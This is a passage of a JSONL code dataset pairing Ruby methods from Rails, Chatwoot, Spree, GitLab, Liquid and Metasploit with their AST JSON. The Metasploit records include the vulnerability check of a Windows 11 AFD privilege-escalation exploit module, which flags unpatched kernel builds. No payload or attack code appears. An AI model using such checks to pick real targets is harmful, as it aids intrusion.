end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_fields_with_hash_like_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@author\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashBackedAuthor\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"fields\",{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@author\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"af\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"af\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"<input name=\\\"post[author_attributes][name]\\\" type=\\\"text\\\" value=\\\"hash backed author\\\" id=\\\"post_author_attributes_name\\\" />\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"d4dbf88b-c5a8-40c4-b561-a3129946ff24"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/wordlist.rb","start_line":402,"raw_source":"def common_root_words_path\n ::File.join(Msf::Config.data_directory, 'wordlists', 'common_roots.txt')\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"common_root_words_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"common_roots.txt\"]}]}]}","id":"ae5c3572-471f-4fe0-a261-c363c6ed2d31"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":1146,"raw_source":"def test_has_many_through_polymorphic_with_rewhere\n post = TaggedPost.create!(title: \"Tagged\", body: \"Post\")\n tag = post.tags.create!(name: \"Tag\")\n assert_equal [tag], TaggedPost.preload(:tags).last.tags\n assert_equal [tag], TaggedPost.eager_load(:tags).last.tags\n end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_polymorphic_with_rewhere\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TaggedPost\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Tagged\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"Post\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"tags\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Tag\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TaggedPost\"]},\"preload\",{\"type\":\"sym\",\"children\":[\"tags\"]}]},\"last\"]},\"tags\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TaggedPost\"]},\"eager_load\",{\"type\":\"sym\",\"children\":[\"tags\"]}]},\"last\"]},\"tags\"]}]}]}]}","id":"dcc97de3-8de0-4180-a728-c36a5729ec34"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/platform/api/v1/agent_bots_controller.rb","start_line":11,"raw_source":"def create\n @resource = AgentBot.new(agent_bot_params.except(:avatar_url))\n @resource.save!\n process_avatar_from_url\n @platform_app.platform_app_permissibles.find_or_create_by(permissible: @resource)\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@resource\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AgentBot\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"agent_bot_params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"avatar_url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"process_avatar_from_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@platform_app\"]},\"platform_app_permissibles\"]},\"find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissible\"]},{\"type\":\"ivar\",\"children\":[\"@resource\"]}]}]}]}]}]}","id":"684d40d2-b0dd-4617-ba63-f4cdc5923f7b"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/load_async_test.rb","start_line":289,"raw_source":"def test_scheduled?\n deferred_posts = Post.where(author_id: 1).load_async\n assert_not_predicate deferred_posts, :scheduled?\n assert_predicate deferred_posts, :loaded?\n deferred_posts.to_a\n assert_not_predicate deferred_posts, :scheduled?\n end","complexity_score":7.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scheduled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deferred_posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"load_async\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"deferred_posts\"]},{\"type\":\"sym\",\"children\":[\"scheduled?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"deferred_posts\"]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deferred_posts\"]},\"to_a\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"deferred_posts\"]},{\"type\":\"sym\",\"children\":[\"scheduled?\"]}]}]}]}","id":"de3ccd94-9564-47bd-b1ec-54ccc729131d"} {"repo_name":"forem","file_path":"./repos/forem/app/services/color/accessibility.rb","start_line":3,"raw_source":"def initialize(hex)\n @hex = hex.delete(\"#\")\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hex\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@hex\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},\"delete\",{\"type\":\"str\",\"children\":[\"#\"]}]}]}]}","id":"51ee9480-267b-44dd-8768-523ea3b30a9d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/diff/suggestion_spec.rb","start_line":53,"raw_source":"def blob_data\n blob = diff_file.new_blob\n blob.load_all_data!\n blob.data\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blob_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blob\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_file\"]},\"new_blob\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"load_all_data!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"data\"]}]}]}","id":"f4cce7a6-8230-440c-a2c0-bbe639049f30"} {"repo_name":"liquid","file_path":"./repos/liquid/test/unit/variable_unit_test.rb","start_line":164,"raw_source":"def test_rigid_filter_argument_parsing\n with_error_modes(:rigid) do\n # optional colon\n var = create_variable(%(n | f1 | f2:))\n assert_equal([['f1', []], ['f2', []]], var.filters)\n\n # missing argument throws error\n assert_raises(SyntaxError) { create_variable(%(n | f1: ,)) }\n assert_raises(SyntaxError) { create_variable(%(n | f1: ,| f2)) }\n\n # arg requires colon\n assert_raises(SyntaxError) { create_variable(%(n | f1 1)) }\n\n # trailing comma doesn't throw\n create_variable(%(n | f1: 1, 2, 3, | f2:))\n\n # missing comma throws error\n assert_raises(SyntaxError) { create_variable(%(n | filter: 1 2, 3)) }\n\n # positional and kwargs parsing\n var = create_variable(%(n | filter: 1, 2, 3 | filter2: k1: 1, k2: 2))\n assert_equal([['filter', [1, 2, 3]], ['filter2', [], { \"k1\" => 1, \"k2\" => 2 }]], var.filters)\n\n # positional and kwargs mixed\n var = create_variable(%(n | filter: 'a', 'b', key1: 1, key2: 2, 'c'))\n assert_equal([[\"filter\", [\"a\", \"b\", \"c\"], { \"key1\" => 1, \"key2\" => 2 }]], var.filters)\n\n # positional and kwargs intermixed (pos1, key1: val1, pos2)\n var = create_variable(%(n | link_to: class: \"black\", \"https://example.com\", title: \"title\"))\n assert_equal([['link_to', [\"https://example.com\"], { \"class\" => \"black\", \"title\" => \"title\" }]], var.filters)\n\n # string key throws\n assert_raises(SyntaxError) { create_variable(%(n | pluralize: 'comment': 'comments')) }\n end\n end","complexity_score":44.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rigid_filter_argument_parsing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_modes\",{\"type\":\"sym\",\"children\":[\"rigid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"var\",{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"n | f1 | f2:\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"f1\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"f2\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"filters\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"n | f1: ,\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"n | f1: ,| f2\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"n | f1 1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"n | f1: 1, 2, 3, | f2:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"n | filter: 1 2, 3\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var\",{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"n | filter: 1, 2, 3 | filter2: k1: 1, k2: 2\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"filter\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"filter2\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"k1\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"k2\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"filters\"]}]},{\"type\":\"lvasgn\",\"children\":[\"var\",{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"n | filter: 'a', 'b', key1: 1, key2: 2, 'c'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"filter\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key1\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key2\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"filters\"]}]},{\"type\":\"lvasgn\",\"children\":[\"var\",{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"n | link_to: class: \\\"black\\\", \\\"https://example.com\\\", title: \\\"title\\\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"link_to\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"https://example.com\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"black\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"title\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"filters\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"n | pluralize: 'comment': 'comments'\"]}]}]}]}]}]}","id":"714fa6d2-b14b-4744-a48c-74b0216df9d1"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/return_authorization.rb","start_line":58,"raw_source":"def refundable_amount\n order.pre_tax_item_amount + order.promo_total\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"refundable_amount\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"pre_tax_item_amount\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"promo_total\"]}]}]}","id":"8739a233-98fd-4bb1-afc2-c38807faf717"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/exploit/pattern_create.rb","start_line":22,"raw_source":"def self.parse(args)\n options = {}\n parser = OptionParser.new do |opt|\n opt.banner = \"Usage: #{__FILE__} [options]\\nExample: #{__FILE__} -l 50 -s ABC,def,123\\nAd1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf\"\n opt.separator ''\n opt.separator 'Options:'\n opt.on('-l', '--length <length>', Integer, \"The length of the pattern\") do |len|\n options[:length] = len\n end\n\n opt.on('-s', '--sets <ABC,def,123>', Array, \"Custom Pattern Sets\") do |sets|\n options[:sets] = sets\n end\n\n opt.on_tail('-h', '--help', 'Show this message') do\n $stdout.puts opt\n exit\n end\n end\n\n parser.parse!(args)\n\n if options.empty?\n raise OptionParser::MissingArgument, 'No options set, try -h for usage'\n elsif options[:length].nil? && options[:sets]\n raise OptionParser::MissingArgument, '-l <length> is required'\n end\n\n options[:sets] = nil unless options[:sets]\n\n options\n end","complexity_score":34.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptionParser\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"banner=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Usage: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"str\",\"children\":[\"(method)\"]}]},{\"type\":\"str\",\"children\":[\" [options]\\nExample: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"str\",\"children\":[\"(method)\"]}]},{\"type\":\"str\",\"children\":[\" -l 50 -s ABC,def,123\\nAd1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"separator\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"separator\",{\"type\":\"str\",\"children\":[\"Options:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"on\",{\"type\":\"str\",\"children\":[\"-l\"]},{\"type\":\"str\",\"children\":[\"--length <length>\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"str\",\"children\":[\"The length of the pattern\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"len\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"lvar\",\"children\":[\"len\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"on\",{\"type\":\"str\",\"children\":[\"-s\"]},{\"type\":\"str\",\"children\":[\"--sets <ABC,def,123>\"]},{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"str\",\"children\":[\"Custom Pattern Sets\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sets\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sets\"]},{\"type\":\"lvar\",\"children\":[\"sets\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"on_tail\",{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"str\",\"children\":[\"--help\"]},{\"type\":\"str\",\"children\":[\"Show this message\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]},{\"type\":\"send\",\"children\":[null,\"exit\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"parse!\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptionParser\"]},\"MissingArgument\"]},{\"type\":\"str\",\"children\":[\"No options set, try -h for usage\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"length\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sets\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptionParser\"]},\"MissingArgument\"]},{\"type\":\"str\",\"children\":[\"-l <length> is required\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sets\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sets\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"f85cbd8e-c7cb-4fe6-a31f-25e2bb7fd5ae"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb","start_line":66,"raw_source":"def check\n unless session.platform == 'windows'\n return Exploit::CheckCode::Safe('Only Windows systems are affected')\n end\n\n major, minor, build, revision, _branch = file_version('C:\\\\Windows\\\\System32\\\\ntoskrnl.exe')\n vprint_status(\"Windows Build Number = #{build}.#{revision}\")\n\n unless major == 6 && minor == 2 && build == 22621\n return CheckCode::Safe('The exploit only supports Windows 11 22H2')\n end\n\n if revision > 963\n return CheckCode::Safe(\"This Windows host seems to be patched (build 22621.#{revision})\")\n end\n\n CheckCode::Appears\n end","complexity_score":25.83,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Only Windows systems are affected\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"major\"]},{\"type\":\"lvasgn\",\"children\":[\"minor\"]},{\"type\":\"lvasgn\",\"children\":[\"build\"]},{\"type\":\"lvasgn\",\"children\":[\"revision\"]},{\"type\":\"lvasgn\",\"children\":[\"_branch\"]}]},{\"type\":\"send\",\"children\":[null,\"file_version\",{\"type\":\"str\",\"children\":[\"C:\\\\Windows\\\\System32\\\\ntoskrnl.exe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Build Number = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revision\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]},\"==\",{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"==\",{\"type\":\"int\",\"children\":[22621]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"The exploit only supports Windows 11 22H2\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revision\"]},\">\",{\"type\":\"int\",\"children\":[963]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This Windows host seems to be patched (build 22621.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revision\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]}","id":"6b6b1d5b-7ba3-4e28-b26b-1399b32f060c"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":1468,"raw_source":"def test_select_datetime_with_custom_prompt\n expected = +%(<select id=\"date_first_year\" name=\"date[first][year]\">\\n)\n expected << %(<option value=\"\">Choose year</option>\\n<option value=\"2003\" selected=\"selected\">2003</option>\\n<option value=\"2004\">2004</option>\\n<option value=\"2005\">2005</option>\\n)\n expected << \"</select>\\n\"\n\n expected << %(<select id=\"date_first_month\" name=\"date[first][month]\">\\n)\n expected << %(<option value=\"\">Choose month</option>\\n<option value=\"1\">January</option>\\n<option value=\"2\">February</option>\\n<option value=\"3\">March</option>\\n<option value=\"4\">April</option>\\n<option value=\"5\">May</option>\\n<option value=\"6\">June</option>\\n<option value=\"7\">July</option>\\n<option value=\"8\" selected=\"selected\">August</option>\\n<option value=\"9\">September</option>\\n<option value=\"10\">October</option>\\n<option value=\"11\">November</option>\\n<option value=\"12\">December</option>\\n)\n expected << \"</select>\\n\"\n\n expected << %(<select id=\"date_first_day\" name=\"date[first][day]\">\\n)\n expected << %(<option value=\"\">Choose day</option>\\n<option value=\"1\">1</option>\\n<option value=\"2\">2</option>\\n<option value=\"3\">3</option>\\n<option value=\"4\">4</option>\\n<option value=\"5\">5</option>\\n<option value=\"6\">6</option>\\n<option value=\"7\">7</option>\\n<option value=\"8\">8</option>\\n<option value=\"9\">9</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\" selected=\"selected\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option 